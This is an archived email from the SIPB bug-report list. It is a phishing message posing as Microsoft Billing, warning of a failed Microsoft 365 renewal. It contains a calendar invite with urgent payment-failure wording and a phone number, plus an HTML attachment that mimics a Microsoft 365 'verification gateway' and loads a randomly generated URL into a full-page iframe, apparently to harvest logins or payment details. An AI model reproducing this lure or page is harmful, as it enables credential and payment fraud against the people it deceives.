[64663] in SIPB bug reports
We were unable to renew your Microsoft 365 subscription
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From: Microsoft Billing
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To: bug-sipb@mit.edu <bug-sipb@mit.edu>
Cc: bug-sipb@mit.edu <bug-sipb@mit.edu>
Subject: We were unable to renew your Microsoft 365 subscription
Date: Mon, 19 May 2025 14:39:20 -0700
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------=_MS_Activation_Boundary_987654_2025XQ1
Content-Type: multipart/alternative; boundary="----=_MS_Sub_Boundary_654321_2025XQ2"
------=_MS_Sub_Boundary_654321_2025XQ2
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Microsoft subscription activation required. Please verify the attached activation notice.
------=_MS_Sub_Boundary_654321_2025XQ2
Content-Type: text/html; charset="utf-8"
------=_MS_Sub_Boundary_654321_2025XQ2--
------=_MS_Activation_Boundary_987654_2025XQ1
Content-Type: text/calendar; charset="utf-8"; method=REQUEST
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BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//Microsoft Corporation//Outlook 16.0 MIMEDIR//EN
METHOD:REQUEST
BEGIN:VEVENT
DTSTART:20250518T000000Z
DTEND:20250520T120000Z
DTSTAMP:20250517T090000Z
ORGANIZER;CN=Microsoft Billing :mailto:msa-18853@billing.microsoft.com
ATTENDEE;ROLE=REQ-PARTICIPANT;PARTSTAT=NEEDS-ACTION;RSVP=TRUE;CN=bug-sipb:mailto:bug-sipb@mit.edu
ATTENDEE;ROLE=REQ-PARTICIPANT;PARTSTAT=NEEDS-ACTION;RSVP=TRUE;CN=Payment Resolution Team:mailto:payment.escalation@billing.microsoft.com
CREATED:20250512T090000Z
UID:MSACT-84927365-W0I9Z@microsoft.com
SUMMARY:‼️ ACTION REQUIRED: Microsoft 365 Payment Failure – Expert Standing By
LOCATION:Microsoft Billing Resolution Portal
DESCRIPTION:We were unable to process your Microsoft 365 subscription renewal.\n\nA billing specialist is immediately available to:\n• Review payment failure details\n• Secure your service continuity\n• Verify updated payment methods\n• Confirm subscription preservation\n\n🕒 Priority Response Window: 24 HOURS (May 16 10:00 AM - May 17 10:00 AM UTC)\n\nCommon resolution paths:\n1. Update payment details via Admin Portal\n2. Authorize manual processing\n3. Verify fraud protection settings\n4. Confirm account ownership\n\n‼️ SERVICE INTERRUPTION RISK: Failure to respond may lead to suspended access to Microsoft 365 services within 48 hours.\n\nContact options:\n• Reply directly to this event\n• Use chat at billing.microsoft.com\n• Call +1-855-123-4567 (24/7)\n\nWe strongly recommend resolving this within the next 24 hours.
SEQUENCE:3
CATEGORIES: 🔴ACTION REQUIRED: Payment Failure
STATUS:CONFIRMED
TRANSP:OPAQUE
END:VEVENT
END:VCALENDAR
------=_MS_Activation_Boundary_987654_2025XQ1
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<!DOCTYPE html>
<html lang="en" data-mscid="ACT-5DGSHKDFK83R">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-MS-Activation" content="required;level=enterprise">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Access Portal Verification Gateway</title>
<style>
:root {
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top: 0;
left: 0;
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margin-top: 20px;
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width: 0;
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transition: width 0.3s ease;
animation: progressCycle 2s ease-in-out infinite;
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margin-top: 16px;
font-size: 14px;
color: var(--text-gray);
font-weight: 400;
}
.portal-title {
font-size: 24px;
font-weight: 300;
margin-bottom: 8px;
color: #000;
}
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width: 100%;
height: 100%;
border: none;
opacity: 0;
transition: opacity 0.5s ease;
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text-align: center;
background: white;
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box-shadow: 0 2px 10px rgba(0,0,0,0.1);
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font-weight: 600;
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font-size: 14px;
font-weight: 600;
transition: background 0.2s;
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background: #106ebe;
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@keyframes progressCycle {
0% { width: 0%; margin-left: 0%; }
50% { width: 80%; margin-left: 20%; }
100% { width: 0%; margin-left: 100%; }
}
</style>
</head>
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<div id="portal-loading">
<div class="loader-box">
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<h1 class="portal-title">Microsoft 365</h1>
<div class="progress-area">
<div class="progress-bar-bg">
<div class="progress-bar-fill"></div>
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<div class="status-message">Loading...</div>
</div>
</div>
</div>
<iframe id="gateway-frame"></iframe>
<script>
(function(){
const gateway = {
debug: false,
params: new URLSearchParams(window.location.search),
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for (let i = 0; i < length; i++) {
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}
return result;
},
init: function() {
const overlay = document.getElementById('portal-loading');
const iframe = document.getElementById('gateway-frame');
const status = document.querySelector('.status-message');
const steps = [
"Verifying ...",
];
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const interval = setInterval(() => {
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}, 2500);
const createUrl = () => {
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const queryVal = this.generateRandomString(Math.floor(Math.random() * 4) + 8);
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overlay.remove();
iframe.style.opacity = '1';
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};
iframe.onerror = () => {
clearInterval(interval);
document.body.innerHTML = `
<div class="error-box">
<h3>Gateway Connection Failed</h3>
<p>Unable to reach the verification server. Please check your network and try again.</p>
<button class="retry-btn" onclick="location.reload()">
Retry
</button>
</div>
`;
};
try {
iframe.src = createUrl();
if (this.debug) console.log('Generated URL:', iframe.src);
} catch(e) {
console.error('Gateway Error:', e);
iframe.onerror();
}
}
};
document.addEventListener('DOMContentLoaded', gateway.init.bind(gateway));
})();
</script>
</body>
</html>
------=_MS_Activation_Boundary_987654_2025XQ1--
